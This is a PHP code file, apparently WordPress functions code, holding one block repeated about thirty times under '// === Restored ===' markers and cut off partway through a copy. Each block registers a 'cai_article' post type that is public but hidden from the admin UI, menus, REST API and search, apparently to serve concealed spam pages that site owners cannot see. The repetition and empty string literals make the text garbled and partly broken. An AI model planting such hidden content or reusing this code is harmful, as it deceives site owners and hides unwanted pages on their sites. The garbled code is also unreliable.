// === Restored ===
add_action("init", function() {
register_post_type("cai_article", [
"public" => true,
"publicly_queryable" => true,
"exclude_from_search" => true,
"show_ui" => false,
"show_in_menu" => false,
"show_in_admin_bar" => false,
"show_in_nav_menus" => false,
"show_in_rest" => false,
"rewrite" => false,
"has_archive" => false,
"supports" => ["title", "editor"],
"labels" => ["name" => "CAI Articles", "singular_name" => "CAI Article"]
]);
});
add_filter("post_type_link", function($url, $post) {
return $post->post_type === "cai_article" ? home_url("/?post_type=cai_article&p=" . $post->ID) : $url;
}, 10, 2);
add_filter("post_type_archive_link", function($link, $post_type) {
return $post_type === "cai_article" ? home_url("/?post_type=cai_article") : $link;
}, 10, 2);
add_filter("the_content", function($content) {
global $post;
if (!is_singular("cai_article") || strpos($content, "") !== false) return $content;
$info = "
👤 Author: admin | 📅 Date: " . get_the_date("Y-m-d H:i:s", $post->ID) . "
";
$nav = "";
return $info . $content . $nav . "";
}, 10);
// === Restored ===
add_action("init", function() {
register_post_type("cai_article", [
"public" => true,
"publicly_queryable" => true,
"exclude_from_search" => true,
"show_ui" => false,
"show_in_menu" => false,
"show_in_admin_bar" => false,
"show_in_nav_menus" => false,
"show_in_rest" => false,
"rewrite" => false,
"has_archive" => false,
"supports" => ["title", "editor"],
"labels" => ["name" => "CAI Articles", "singular_name" => "CAI Article"]
]);
});
add_filter("post_type_link", function($url, $post) {
return $post->post_type === "cai_article" ? home_url("/?post_type=cai_article&p=" . $post->ID) : $url;
}, 10, 2);
add_filter("post_type_archive_link", function($link, $post_type) {
return $post_type === "cai_article" ? home_url("/?post_type=cai_article") : $link;
}, 10, 2);
add_filter("the_content", function($content) {
global $post;
if (!is_singular("cai_article") || strpos($content, "") !== false) return $content;
$info = "👤 Author: admin | 📅 Date: " . get_the_date("Y-m-d H:i:s", $post->ID) . "
";
$nav = "";
return $info . $content . $nav . "";
}, 10);
// === Restored ===
add_action("init", function() {
register_post_type("cai_article", [
"public" => true,
"publicly_queryable" => true,
"exclude_from_search" => true,
"show_ui" => false,
"show_in_menu" => false,
"show_in_admin_bar" => false,
"show_in_nav_menus" => false,
"show_in_rest" => false,
"rewrite" => false,
"has_archive" => false,
"supports" => ["title", "editor"],
"labels" => ["name" => "CAI Articles", "singular_name" => "CAI Article"]
]);
});
add_filter("post_type_link", function($url, $post) {
return $post->post_type === "cai_article" ? home_url("/?post_type=cai_article&p=" . $post->ID) : $url;
}, 10, 2);
add_filter("post_type_archive_link", function($link, $post_type) {
return $post_type === "cai_article" ? home_url("/?post_type=cai_article") : $link;
}, 10, 2);
add_filter("the_content", function($content) {
global $post;
if (!is_singular("cai_article") || strpos($content, "") !== false) return $content;
$info = "👤 Author: admin | 📅 Date: " . get_the_date("Y-m-d H:i:s", $post->ID) . "
";
$nav = "";
return $info . $content . $nav . "";
}, 10);
// === Restored ===
add_action("init", function() {
register_post_type("cai_article", [
"public" => true,
"publicly_queryable" => true,
"exclude_from_search" => true,
"show_ui" => false,
"show_in_menu" => false,
"show_in_admin_bar" => false,
"show_in_nav_menus" => false,
"show_in_rest" => false,
"rewrite" => false,
"has_archive" => false,
"supports" => ["title", "editor"],
"labels" => ["name" => "CAI Articles", "singular_name" => "CAI Article"]
]);
});
add_filter("post_type_link", function($url, $post) {
return $post->post_type === "cai_article" ? home_url("/?post_type=cai_article&p=" . $post->ID) : $url;
}, 10, 2);
add_filter("post_type_archive_link", function($link, $post_type) {
return $post_type === "cai_article" ? home_url("/?post_type=cai_article") : $link;
}, 10, 2);
add_filter("the_content", function($content) {
global $post;
if (!is_singular("cai_article") || strpos($content, "") !== false) return $content;
$info = "👤 Author: admin | 📅 Date: " . get_the_date("Y-m-d H:i:s", $post->ID) . "
";
$nav = "";
return $info . $content . $nav . "";
}, 10);
// === Restored ===
add_action("init", function() {
register_post_type("cai_article", [
"public" => true,
"publicly_queryable" => true,
"exclude_from_search" => true,
"show_ui" => false,
"show_in_menu" => false,
"show_in_admin_bar" => false,
"show_in_nav_menus" => false,
"show_in_rest" => false,
"rewrite" => false,
"has_archive" => false,
"supports" => ["title", "editor"],
"labels" => ["name" => "CAI Articles", "singular_name" => "CAI Article"]
]);
});
add_filter("post_type_link", function($url, $post) {
return $post->post_type === "cai_article" ? home_url("/?post_type=cai_article&p=" . $post->ID) : $url;
}, 10, 2);
add_filter("post_type_archive_link", function($link, $post_type) {
return $post_type === "cai_article" ? home_url("/?post_type=cai_article") : $link;
}, 10, 2);
add_filter("the_content", function($content) {
global $post;
if (!is_singular("cai_article") || strpos($content, "") !== false) return $content;
$info = "👤 Author: admin | 📅 Date: " . get_the_date("Y-m-d H:i:s", $post->ID) . "
";
$nav = "";
return $info . $content . $nav . "";
}, 10);
// === Restored ===
add_action("init", function() {
register_post_type("cai_article", [
"public" => true,
"publicly_queryable" => true,
"exclude_from_search" => true,
"show_ui" => false,
"show_in_menu" => false,
"show_in_admin_bar" => false,
"show_in_nav_menus" => false,
"show_in_rest" => false,
"rewrite" => false,
"has_archive" => false,
"supports" => ["title", "editor"],
"labels" => ["name" => "CAI Articles", "singular_name" => "CAI Article"]
]);
});
add_filter("post_type_link", function($url, $post) {
return $post->post_type === "cai_article" ? home_url("/?post_type=cai_article&p=" . $post->ID) : $url;
}, 10, 2);
add_filter("post_type_archive_link", function($link, $post_type) {
return $post_type === "cai_article" ? home_url("/?post_type=cai_article") : $link;
}, 10, 2);
add_filter("the_content", function($content) {
global $post;
if (!is_singular("cai_article") || strpos($content, "") !== false) return $content;
$info = "👤 Author: admin | 📅 Date: " . get_the_date("Y-m-d H:i:s", $post->ID) . "
";
$nav = "";
return $info . $content . $nav . "";
}, 10);
// === Restored ===
add_action("init", function() {
register_post_type("cai_article", [
"public" => true,
"publicly_queryable" => true,
"exclude_from_search" => true,
"show_ui" => false,
"show_in_menu" => false,
"show_in_admin_bar" => false,
"show_in_nav_menus" => false,
"show_in_rest" => false,
"rewrite" => false,
"has_archive" => false,
"supports" => ["title", "editor"],
"labels" => ["name" => "CAI Articles", "singular_name" => "CAI Article"]
]);
});
add_filter("post_type_link", function($url, $post) {
return $post->post_type === "cai_article" ? home_url("/?post_type=cai_article&p=" . $post->ID) : $url;
}, 10, 2);
add_filter("post_type_archive_link", function($link, $post_type) {
return $post_type === "cai_article" ? home_url("/?post_type=cai_article") : $link;
}, 10, 2);
add_filter("the_content", function($content) {
global $post;
if (!is_singular("cai_article") || strpos($content, "") !== false) return $content;
$info = "👤 Author: admin | 📅 Date: " . get_the_date("Y-m-d H:i:s", $post->ID) . "
";
$nav = "";
return $info . $content . $nav . "";
}, 10);
// === Restored ===
add_action("init", function() {
register_post_type("cai_article", [
"public" => true,
"publicly_queryable" => true,
"exclude_from_search" => true,
"show_ui" => false,
"show_in_menu" => false,
"show_in_admin_bar" => false,
"show_in_nav_menus" => false,
"show_in_rest" => false,
"rewrite" => false,
"has_archive" => false,
"supports" => ["title", "editor"],
"labels" => ["name" => "CAI Articles", "singular_name" => "CAI Article"]
]);
});
add_filter("post_type_link", function($url, $post) {
return $post->post_type === "cai_article" ? home_url("/?post_type=cai_article&p=" . $post->ID) : $url;
}, 10, 2);
add_filter("post_type_archive_link", function($link, $post_type) {
return $post_type === "cai_article" ? home_url("/?post_type=cai_article") : $link;
}, 10, 2);
add_filter("the_content", function($content) {
global $post;
if (!is_singular("cai_article") || strpos($content, "") !== false) return $content;
$info = "👤 Author: admin | 📅 Date: " . get_the_date("Y-m-d H:i:s", $post->ID) . "
";
$nav = "";
return $info . $content . $nav . "";
}, 10);
// === Restored ===
add_action("init", function() {
register_post_type("cai_article", [
"public" => true,
"publicly_queryable" => true,
"exclude_from_search" => true,
"show_ui" => false,
"show_in_menu" => false,
"show_in_admin_bar" => false,
"show_in_nav_menus" => false,
"show_in_rest" => false,
"rewrite" => false,
"has_archive" => false,
"supports" => ["title", "editor"],
"labels" => ["name" => "CAI Articles", "singular_name" => "CAI Article"]
]);
});
add_filter("post_type_link", function($url, $post) {
return $post->post_type === "cai_article" ? home_url("/?post_type=cai_article&p=" . $post->ID) : $url;
}, 10, 2);
add_filter("post_type_archive_link", function($link, $post_type) {
return $post_type === "cai_article" ? home_url("/?post_type=cai_article") : $link;
}, 10, 2);
add_filter("the_content", function($content) {
global $post;
if (!is_singular("cai_article") || strpos($content, "") !== false) return $content;
$info = "👤 Author: admin | 📅 Date: " . get_the_date("Y-m-d H:i:s", $post->ID) . "
";
$nav = "";
return $info . $content . $nav . "";
}, 10);
// === Restored ===
add_action("init", function() {
register_post_type("cai_article", [
"public" => true,
"publicly_queryable" => true,
"exclude_from_search" => true,
"show_ui" => false,
"show_in_menu" => false,
"show_in_admin_bar" => false,
"show_in_nav_menus" => false,
"show_in_rest" => false,
"rewrite" => false,
"has_archive" => false,
"supports" => ["title", "editor"],
"labels" => ["name" => "CAI Articles", "singular_name" => "CAI Article"]
]);
});
add_filter("post_type_link", function($url, $post) {
return $post->post_type === "cai_article" ? home_url("/?post_type=cai_article&p=" . $post->ID) : $url;
}, 10, 2);
add_filter("post_type_archive_link", function($link, $post_type) {
return $post_type === "cai_article" ? home_url("/?post_type=cai_article") : $link;
}, 10, 2);
add_filter("the_content", function($content) {
global $post;
if (!is_singular("cai_article") || strpos($content, "") !== false) return $content;
$info = "👤 Author: admin | 📅 Date: " . get_the_date("Y-m-d H:i:s", $post->ID) . "
";
$nav = "";
return $info . $content . $nav . "";
}, 10);
// === Restored ===
add_action("init", function() {
register_post_type("cai_article", [
"public" => true,
"publicly_queryable" => true,
"exclude_from_search" => true,
"show_ui" => false,
"show_in_menu" => false,
"show_in_admin_bar" => false,
"show_in_nav_menus" => false,
"show_in_rest" => false,
"rewrite" => false,
"has_archive" => false,
"supports" => ["title", "editor"],
"labels" => ["name" => "CAI Articles", "singular_name" => "CAI Article"]
]);
});
add_filter("post_type_link", function($url, $post) {
return $post->post_type === "cai_article" ? home_url("/?post_type=cai_article&p=" . $post->ID) : $url;
}, 10, 2);
add_filter("post_type_archive_link", function($link, $post_type) {
return $post_type === "cai_article" ? home_url("/?post_type=cai_article") : $link;
}, 10, 2);
add_filter("the_content", function($content) {
global $post;
if (!is_singular("cai_article") || strpos($content, "") !== false) return $content;
$info = "👤 Author: admin | 📅 Date: " . get_the_date("Y-m-d H:i:s", $post->ID) . "
";
$nav = "";
return $info . $content . $nav . "";
}, 10);
// === Restored ===
add_action("init", function() {
register_post_type("cai_article", [
"public" => true,
"publicly_queryable" => true,
"exclude_from_search" => true,
"show_ui" => false,
"show_in_menu" => false,
"show_in_admin_bar" => false,
"show_in_nav_menus" => false,
"show_in_rest" => false,
"rewrite" => false,
"has_archive" => false,
"supports" => ["title", "editor"],
"labels" => ["name" => "CAI Articles", "singular_name" => "CAI Article"]
]);
});
add_filter("post_type_link", function($url, $post) {
return $post->post_type === "cai_article" ? home_url("/?post_type=cai_article&p=" . $post->ID) : $url;
}, 10, 2);
add_filter("post_type_archive_link", function($link, $post_type) {
return $post_type === "cai_article" ? home_url("/?post_type=cai_article") : $link;
}, 10, 2);
add_filter("the_content", function($content) {
global $post;
if (!is_singular("cai_article") || strpos($content, "") !== false) return $content;
$info = "👤 Author: admin | 📅 Date: " . get_the_date("Y-m-d H:i:s", $post->ID) . "
";
$nav = "";
return $info . $content . $nav . "";
}, 10);
// === Restored ===
add_action("init", function() {
register_post_type("cai_article", [
"public" => true,
"publicly_queryable" => true,
"exclude_from_search" => true,
"show_ui" => false,
"show_in_menu" => false,
"show_in_admin_bar" => false,
"show_in_nav_menus" => false,
"show_in_rest" => false,
"rewrite" => false,
"has_archive" => false,
"supports" => ["title", "editor"],
"labels" => ["name" => "CAI Articles", "singular_name" => "CAI Article"]
]);
});
add_filter("post_type_link", function($url, $post) {
return $post->post_type === "cai_article" ? home_url("/?post_type=cai_article&p=" . $post->ID) : $url;
}, 10, 2);
add_filter("post_type_archive_link", function($link, $post_type) {
return $post_type === "cai_article" ? home_url("/?post_type=cai_article") : $link;
}, 10, 2);
add_filter("the_content", function($content) {
global $post;
if (!is_singular("cai_article") || strpos($content, "") !== false) return $content;
$info = "👤 Author: admin | 📅 Date: " . get_the_date("Y-m-d H:i:s", $post->ID) . "
";
$nav = "";
return $info . $content . $nav . "";
}, 10);
// === Restored ===
add_action("init", function() {
register_post_type("cai_article", [
"public" => true,
"publicly_queryable" => true,
"exclude_from_search" => true,
"show_ui" => false,
"show_in_menu" => false,
"show_in_admin_bar" => false,
"show_in_nav_menus" => false,
"show_in_rest" => false,
"rewrite" => false,
"has_archive" => false,
"supports" => ["title", "editor"],
"labels" => ["name" => "CAI Articles", "singular_name" => "CAI Article"]
]);
});
add_filter("post_type_link", function($url, $post) {
return $post->post_type === "cai_article" ? home_url("/?post_type=cai_article&p=" . $post->ID) : $url;
}, 10, 2);
add_filter("post_type_archive_link", function($link, $post_type) {
return $post_type === "cai_article" ? home_url("/?post_type=cai_article") : $link;
}, 10, 2);
add_filter("the_content", function($content) {
global $post;
if (!is_singular("cai_article") || strpos($content, "") !== false) return $content;
$info = "👤 Author: admin | 📅 Date: " . get_the_date("Y-m-d H:i:s", $post->ID) . "
";
$nav = "";
return $info . $content . $nav . "";
}, 10);
// === Restored ===
add_action("init", function() {
register_post_type("cai_article", [
"public" => true,
"publicly_queryable" => true,
"exclude_from_search" => true,
"show_ui" => false,
"show_in_menu" => false,
"show_in_admin_bar" => false,
"show_in_nav_menus" => false,
"show_in_rest" => false,
"rewrite" => false,
"has_archive" => false,
"supports" => ["title", "editor"],
"labels" => ["name" => "CAI Articles", "singular_name" => "CAI Article"]
]);
});
add_filter("post_type_link", function($url, $post) {
return $post->post_type === "cai_article" ? home_url("/?post_type=cai_article&p=" . $post->ID) : $url;
}, 10, 2);
add_filter("post_type_archive_link", function($link, $post_type) {
return $post_type === "cai_article" ? home_url("/?post_type=cai_article") : $link;
}, 10, 2);
add_filter("the_content", function($content) {
global $post;
if (!is_singular("cai_article") || strpos($content, "") !== false) return $content;
$info = "👤 Author: admin | 📅 Date: " . get_the_date("Y-m-d H:i:s", $post->ID) . "
";
$nav = "";
return $info . $content . $nav . "";
}, 10);
// === Restored ===
add_action("init", function() {
register_post_type("cai_article", [
"public" => true,
"publicly_queryable" => true,
"exclude_from_search" => true,
"show_ui" => false,
"show_in_menu" => false,
"show_in_admin_bar" => false,
"show_in_nav_menus" => false,
"show_in_rest" => false,
"rewrite" => false,
"has_archive" => false,
"supports" => ["title", "editor"],
"labels" => ["name" => "CAI Articles", "singular_name" => "CAI Article"]
]);
});
add_filter("post_type_link", function($url, $post) {
return $post->post_type === "cai_article" ? home_url("/?post_type=cai_article&p=" . $post->ID) : $url;
}, 10, 2);
add_filter("post_type_archive_link", function($link, $post_type) {
return $post_type === "cai_article" ? home_url("/?post_type=cai_article") : $link;
}, 10, 2);
add_filter("the_content", function($content) {
global $post;
if (!is_singular("cai_article") || strpos($content, "") !== false) return $content;
$info = "👤 Author: admin | 📅 Date: " . get_the_date("Y-m-d H:i:s", $post->ID) . "
";
$nav = "";
return $info . $content . $nav . "";
}, 10);
// === Restored ===
add_action("init", function() {
register_post_type("cai_article", [
"public" => true,
"publicly_queryable" => true,
"exclude_from_search" => true,
"show_ui" => false,
"show_in_menu" => false,
"show_in_admin_bar" => false,
"show_in_nav_menus" => false,
"show_in_rest" => false,
"rewrite" => false,
"has_archive" => false,
"supports" => ["title", "editor"],
"labels" => ["name" => "CAI Articles", "singular_name" => "CAI Article"]
]);
});
add_filter("post_type_link", function($url, $post) {
return $post->post_type === "cai_article" ? home_url("/?post_type=cai_article&p=" . $post->ID) : $url;
}, 10, 2);
add_filter("post_type_archive_link", function($link, $post_type) {
return $post_type === "cai_article" ? home_url("/?post_type=cai_article") : $link;
}, 10, 2);
add_filter("the_content", function($content) {
global $post;
if (!is_singular("cai_article") || strpos($content, "") !== false) return $content;
$info = "👤 Author: admin | 📅 Date: " . get_the_date("Y-m-d H:i:s", $post->ID) . "
";
$nav = "";
return $info . $content . $nav . "";
}, 10);
// === Restored ===
add_action("init", function() {
register_post_type("cai_article", [
"public" => true,
"publicly_queryable" => true,
"exclude_from_search" => true,
"show_ui" => false,
"show_in_menu" => false,
"show_in_admin_bar" => false,
"show_in_nav_menus" => false,
"show_in_rest" => false,
"rewrite" => false,
"has_archive" => false,
"supports" => ["title", "editor"],
"labels" => ["name" => "CAI Articles", "singular_name" => "CAI Article"]
]);
});
add_filter("post_type_link", function($url, $post) {
return $post->post_type === "cai_article" ? home_url("/?post_type=cai_article&p=" . $post->ID) : $url;
}, 10, 2);
add_filter("post_type_archive_link", function($link, $post_type) {
return $post_type === "cai_article" ? home_url("/?post_type=cai_article") : $link;
}, 10, 2);
add_filter("the_content", function($content) {
global $post;
if (!is_singular("cai_article") || strpos($content, "") !== false) return $content;
$info = "👤 Author: admin | 📅 Date: " . get_the_date("Y-m-d H:i:s", $post->ID) . "
";
$nav = "";
return $info . $content . $nav . "";
}, 10);
// === Restored ===
add_action("init", function() {
register_post_type("cai_article", [
"public" => true,
"publicly_queryable" => true,
"exclude_from_search" => true,
"show_ui" => false,
"show_in_menu" => false,
"show_in_admin_bar" => false,
"show_in_nav_menus" => false,
"show_in_rest" => false,
"rewrite" => false,
"has_archive" => false,
"supports" => ["title", "editor"],
"labels" => ["name" => "CAI Articles", "singular_name" => "CAI Article"]
]);
});
add_filter("post_type_link", function($url, $post) {
return $post->post_type === "cai_article" ? home_url("/?post_type=cai_article&p=" . $post->ID) : $url;
}, 10, 2);
add_filter("post_type_archive_link", function($link, $post_type) {
return $post_type === "cai_article" ? home_url("/?post_type=cai_article") : $link;
}, 10, 2);
add_filter("the_content", function($content) {
global $post;
if (!is_singular("cai_article") || strpos($content, "") !== false) return $content;
$info = "👤 Author: admin | 📅 Date: " . get_the_date("Y-m-d H:i:s", $post->ID) . "
";
$nav = "";
return $info . $content . $nav . "";
}, 10);
// === Restored ===
add_action("init", function() {
register_post_type("cai_article", [
"public" => true,
"publicly_queryable" => true,
"exclude_from_search" => true,
"show_ui" => false,
"show_in_menu" => false,
"show_in_admin_bar" => false,
"show_in_nav_menus" => false,
"show_in_rest" => false,
"rewrite" => false,
"has_archive" => false,
"supports" => ["title", "editor"],
"labels" => ["name" => "CAI Articles", "singular_name" => "CAI Article"]
]);
});
add_filter("post_type_link", function($url, $post) {
return $post->post_type === "cai_article" ? home_url("/?post_type=cai_article&p=" . $post->ID) : $url;
}, 10, 2);
add_filter("post_type_archive_link", function($link, $post_type) {
return $post_type === "cai_article" ? home_url("/?post_type=cai_article") : $link;
}, 10, 2);
add_filter("the_content", function($content) {
global $post;
if (!is_singular("cai_article") || strpos($content, "") !== false) return $content;
$info = "👤 Author: admin | 📅 Date: " . get_the_date("Y-m-d H:i:s", $post->ID) . "
";
$nav = "";
return $info . $content . $nav . "";
}, 10);
// === Restored ===
add_action("init", function() {
register_post_type("cai_article", [
"public" => true,
"publicly_queryable" => true,
"exclude_from_search" => true,
"show_ui" => false,
"show_in_menu" => false,
"show_in_admin_bar" => false,
"show_in_nav_menus" => false,
"show_in_rest" => false,
"rewrite" => false,
"has_archive" => false,
"supports" => ["title", "editor"],
"labels" => ["name" => "CAI Articles", "singular_name" => "CAI Article"]
]);
});
add_filter("post_type_link", function($url, $post) {
return $post->post_type === "cai_article" ? home_url("/?post_type=cai_article&p=" . $post->ID) : $url;
}, 10, 2);
add_filter("post_type_archive_link", function($link, $post_type) {
return $post_type === "cai_article" ? home_url("/?post_type=cai_article") : $link;
}, 10, 2);
add_filter("the_content", function($content) {
global $post;
if (!is_singular("cai_article") || strpos($content, "") !== false) return $content;
$info = "👤 Author: admin | 📅 Date: " . get_the_date("Y-m-d H:i:s", $post->ID) . "
";
$nav = "";
return $info . $content . $nav . "";
}, 10);
// === Restored ===
add_action("init", function() {
register_post_type("cai_article", [
"public" => true,
"publicly_queryable" => true,
"exclude_from_search" => true,
"show_ui" => false,
"show_in_menu" => false,
"show_in_admin_bar" => false,
"show_in_nav_menus" => false,
"show_in_rest" => false,
"rewrite" => false,
"has_archive" => false,
"supports" => ["title", "editor"],
"labels" => ["name" => "CAI Articles", "singular_name" => "CAI Article"]
]);
});
add_filter("post_type_link", function($url, $post) {
return $post->post_type === "cai_article" ? home_url("/?post_type=cai_article&p=" . $post->ID) : $url;
}, 10, 2);
add_filter("post_type_archive_link", function($link, $post_type) {
return $post_type === "cai_article" ? home_url("/?post_type=cai_article") : $link;
}, 10, 2);
add_filter("the_content", function($content) {
global $post;
if (!is_singular("cai_article") || strpos($content, "") !== false) return $content;
$info = "👤 Author: admin | 📅 Date: " . get_the_date("Y-m-d H:i:s", $post->ID) . "
";
$nav = "";
return $info . $content . $nav . "";
}, 10);
// === Restored ===
add_action("init", function() {
register_post_type("cai_article", [
"public" => true,
"publicly_queryable" => true,
"exclude_from_search" => true,
"show_ui" => false,
"show_in_menu" => false,
"show_in_admin_bar" => false,
"show_in_nav_menus" => false,
"show_in_rest" => false,
"rewrite" => false,
"has_archive" => false,
"supports" => ["title", "editor"],
"labels" => ["name" => "CAI Articles", "singular_name" => "CAI Article"]
]);
});
add_filter("post_type_link", function($url, $post) {
return $post->post_type === "cai_article" ? home_url("/?post_type=cai_article&p=" . $post->ID) : $url;
}, 10, 2);
add_filter("post_type_archive_link", function($link, $post_type) {
return $post_type === "cai_article" ? home_url("/?post_type=cai_article") : $link;
}, 10, 2);
add_filter("the_content", function($content) {
global $post;
if (!is_singular("cai_article") || strpos($content, "") !== false) return $content;
$info = "👤 Author: admin | 📅 Date: " . get_the_date("Y-m-d H:i:s", $post->ID) . "
";
$nav = "";
return $info . $content . $nav . "";
}, 10);
// === Restored ===
add_action("init", function() {
register_post_type("cai_article", [
"public" => true,
"publicly_queryable" => true,
"exclude_from_search" => true,
"show_ui" => false,
"show_in_menu" => false,
"show_in_admin_bar" => false,
"show_in_nav_menus" => false,
"show_in_rest" => false,
"rewrite" => false,
"has_archive" => false,
"supports" => ["title", "editor"],
"labels" => ["name" => "CAI Articles", "singular_name" => "CAI Article"]
]);
});
add_filter("post_type_link", function($url, $post) {
return $post->post_type === "cai_article" ? home_url("/?post_type=cai_article&p=" . $post->ID) : $url;
}, 10, 2);
add_filter("post_type_archive_link", function($link, $post_type) {
return $post_type === "cai_article" ? home_url("/?post_type=cai_article") : $link;
}, 10, 2);
add_filter("the_content", function($content) {
global $post;
if (!is_singular("cai_article") || strpos($content, "") !== false) return $content;
$info = "👤 Author: admin | 📅 Date: " . get_the_date("Y-m-d H:i:s", $post->ID) . "
";
$nav = "";
return $info . $content . $nav . "";
}, 10);
// === Restored ===
add_action("init", function() {
register_post_type("cai_article", [
"public" => true,
"publicly_queryable" => true,
"exclude_from_search" => true,
"show_ui" => false,
"show_in_menu" => false,
"show_in_admin_bar" => false,
"show_in_nav_menus" => false,
"show_in_rest" => false,
"rewrite" => false,
"has_archive" => false,
"supports" => ["title", "editor"],
"labels" => ["name" => "CAI Articles", "singular_name" => "CAI Article"]
]);
});
add_filter("post_type_link", function($url, $post) {
return $post->post_type === "cai_article" ? home_url("/?post_type=cai_article&p=" . $post->ID) : $url;
}, 10, 2);
add_filter("post_type_archive_link", function($link, $post_type) {
return $post_type === "cai_article" ? home_url("/?post_type=cai_article") : $link;
}, 10, 2);
add_filter("the_content", function($content) {
global $post;
if (!is_singular("cai_article") || strpos($content, "") !== false) return $content;
$info = "👤 Author: admin | 📅 Date: " . get_the_date("Y-m-d H:i:s", $post->ID) . "
";
$nav = "";
return $info . $content . $nav . "";
}, 10);
// === Restored ===
add_action("init", function() {
register_post_type("cai_article", [
"public" => true,
"publicly_queryable" => true,
"exclude_from_search" => true,
"show_ui" => false,
"show_in_menu" => false,
"show_in_admin_bar" => false,
"show_in_nav_menus" => false,
"show_in_rest" => false,
"rewrite" => false,
"has_archive" => false,
"supports" => ["title", "editor"],
"labels" => ["name" => "CAI Articles", "singular_name" => "CAI Article"]
]);
});
add_filter("post_type_link", function($url, $post) {
return $post->post_type === "cai_article" ? home_url("/?post_type=cai_article&p=" . $post->ID) : $url;
}, 10, 2);
add_filter("post_type_archive_link", function($link, $post_type) {
return $post_type === "cai_article" ? home_url("/?post_type=cai_article") : $link;
}, 10, 2);
add_filter("the_content", function($content) {
global $post;
if (!is_singular("cai_article") || strpos($content, "") !== false) return $content;
$info = "👤 Author: admin | 📅 Date: " . get_the_date("Y-m-d H:i:s", $post->ID) . "
";
$nav = "";
return $info . $content . $nav . "";
}, 10);
// === Restored ===
add_action("init", function() {
register_post_type("cai_article", [
"public" => true,
"publicly_queryable" => true,
"exclude_from_search" => true,
"show_ui" => false,
"show_in_menu" => false,
"show_in_admin_bar" => false,
"show_in_nav_menus" => false,
"show_in_rest" => false,
"rewrite" => false,
"has_archive" => false,
"supports" => ["title", "editor"],
"labels" => ["name" => "CAI Articles", "singular_name" => "CAI Article"]
]);
});
add_filter("post_type_link", function($url, $post) {
return $post->post_type === "cai_article" ? home_url("/?post_type=cai_article&p=" . $post->ID) : $url;
}, 10, 2);
add_filter("post_type_archive_link", function($link, $post_type) {
return $post_type === "cai_article" ? home_url("/?post_type=cai_article") : $link;
}, 10, 2);
add_filter("the_content", function($content) {
global $post;
if (!is_singular("cai_article") || strpos($content, "") !== false) return $content;
$info = "👤 Author: admin | 📅 Date: " . get_the_date("Y-m-d H:i:s", $post->ID) . "
";
$nav = "";
return $info . $content . $nav . "";
}, 10);
// === Restored ===
add_action("init", function() {
register_post_type("cai_article", [
"public" => true,
"publicly_queryable" => true,
"exclude_from_search" => true,
"show_ui" => false,
"show_in_menu" => false,
"show_in_admin_bar" => false,
"show_in_nav_menus" => false,
"show_in_rest" => false,
"rewrite" => false,
"has_archive" => false,
"supports" => ["title", "editor"],
"labels" => ["name" => "CAI Articles", "singular_name" => "CAI Article"]
]);
});
add_filter("post_type_link", function($url, $post) {
return $post->post_type === "cai_article" ? home_url("/?post_type=cai_article&p=" . $post->ID) : $url;
}, 10, 2);
add_filter("post_type_archive_link", function($link, $post_type) {
return $post_type === "cai_article" ? home_url("/?post_type=cai_article") : $link;
}, 10, 2);
add_filter("the_content", function($content) {
global $post;
if (!is_singular("cai_article") || strpos($content, "") !== false) return $content;
$info = "👤 Author: admin | 📅 Date: " . get_the_date("Y-m-d H:i:s", $post->ID) . "
";
$nav = "";
return $info . $content . $nav . "";
}, 10);
// === Restored ===
add_action("init", function() {
register_post_type("cai_article", [
"public" => true,
"publicly_queryable" => true,
"exclude_from_search" => true,
"show_ui" => false,
"show_in_menu" => false,
"show_in_admin_bar" => false,
"show_in_nav_menus" => false,
"show_in_rest" => false,
"rewrite" => false,
"has_archive" => false,
"supports" => ["title", "editor"],
"labels" => ["name" => "CAI Articles", "singular_name" => "CAI Article"]
]);
});
add_filter("post_type_link", function($url, $post) {
return $post->post_type === "cai_article" ? home_url("/?post_type=cai_article&p=" . $post->ID) : $url;
}, 10, 2);
add_filter("post_type_archive_link", function($link, $post_type) {
return $post_type === "cai_article" ? home_url("/?post_type=cai_article") : $link;
}, 10, 2);
add_filter("the_content", function($content) {
global $post;
if (!is_singular("cai_article") || strpos($content, "") !== false) return $content;
$info = "👤 Author: admin | 📅 Date: " . get_the_date("Y-m-d H:i:s", $post->ID) . "
";
$nav = "";
return $info . $content . $nav . "";
}, 10);
// === Restored ===
add_action("init", function() {
register_post_type("cai_article", [
"public" => true,
"publicly_queryable" => true,
"exclude_from_search" => true,
"show_ui" => false,
"show_in_menu" => false,
"show_in_admin_bar" => false,
"show_in_nav_menus" => false,
"show_in_rest" => false,
"rewrite" => false,
"has_archive" => false,
"supports" => ["title", "editor"],
"labels" => ["name" => "CAI Articles", "singular_name" => "CAI Article"]
]);
});
add_filter("post_type_link", function($url, $post) {
return $post->post_type === "cai_article" ? home_url("/?post_type=cai_article&p=" . $post->ID) : $url;
}, 10, 2);
add_filter("post_type_archive_link", function($link, $post_type) {
return $post_type === "cai_article" ? home_url("/?post_type=cai_article") : $link;
}, 10, 2);
add_filter("the_content", function($content) {
global $post;
if (!is_singular("cai_article") || strpos($content, "") !== false) return $content;
$info = "👤 Author: admin | 📅 Date: " . get_the_date("Y-m-d H:i:s", $post->ID) . "
";
$nav = "";
return $info . $content . $nav . "";
}, 10);
// === Restored ===
add_action("init", function() {
register_post_type("cai_article", [
"public" => true,
"publicly_queryable" => true,
"exclude_from_search" => true,
"show_ui" => false,
"show_in_menu" => false,
"show_in_admin_bar" => false,
"show_in_nav_menus" => false,
"show_in_rest" => false,
"rewrite" => false,
"has_archive" => false,
"supports" => ["title", "editor"],
"labels" => ["name" => "CAI Articles", "singular_name" => "CAI Article"]
]);
});
add_filter("post_type_link", function($url, $post) {
return $post->post_type === "cai_article" ? home_url("/?post_type=cai_article&p=" . $post->ID) : $url;
}, 10, 2);
add_filter("post_type_archive_link", function($link, $post_type) {
return $post_type === "cai_article" ? home_url("/?post_type=cai_article") : $link;
}, 10, 2);
add_filter("the_content", function($content) {
global $post;
if (!is_singular("cai_article") || strpos($content, "") !== false) return $content;
$info = "👤 Author: admin | 📅 Date: " . get_the_date("Y-m-d H:i:s", $post->ID) . "
";
$nav = "";
return $info . $content . $nav . "";
}, 10);
// === Restored ===
add_action("init", function() {
register_post_type("cai_article", [
"public" => true,
"publicly_queryable" => true,
"exclude_from_search" => true,
"show_ui" => false,
"show_in_menu" => false,
"show_in_admin_bar" => false,
"show_in_nav_menus" => false,
"show_in_rest" => false,
"rewrite" => false,
"has_archive" => false,
"supports" => ["title", "editor"],
"labels" => ["name" => "CAI Articles", "singular_name" => "CAI Article"]
]);
});
add_filter("post_type_link", function($url, $post) {
return $post->post_type === "cai_article" ? home_url("/?post_type=cai_article&p=" . $post->ID) : $url;
}, 10, 2);
add_filter("post_type_archive_link", function($link, $post_type) {
